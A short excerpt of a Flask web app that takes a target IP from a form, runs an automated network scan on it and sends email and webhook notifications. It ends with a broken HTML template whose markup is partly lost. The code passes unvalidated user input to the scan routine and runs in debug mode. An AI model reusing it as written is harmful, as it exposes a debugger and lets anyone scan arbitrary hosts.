   @app.route('/scan', methods=['POST'])
   def scan():
       target_ip = request.form['target_ip']
       report_dir = perform_scan(target_ip)
       generate_documentation(report_dir, target_ip)
       # Send notification
       send_email_notification(report_dir, target_ip)
       send_webhook_notification(report_dir, target_ip)
       return f"Scan completed. Report saved in {report_dir}/report.txt"
   
   if __name__ == '__main__':
       app.run(debug=True)

   HTML Template (templates/index.html):

   <html>
       <head><title

Automated Scan</title>

Enter Target IP for Automated Scan

Start Scan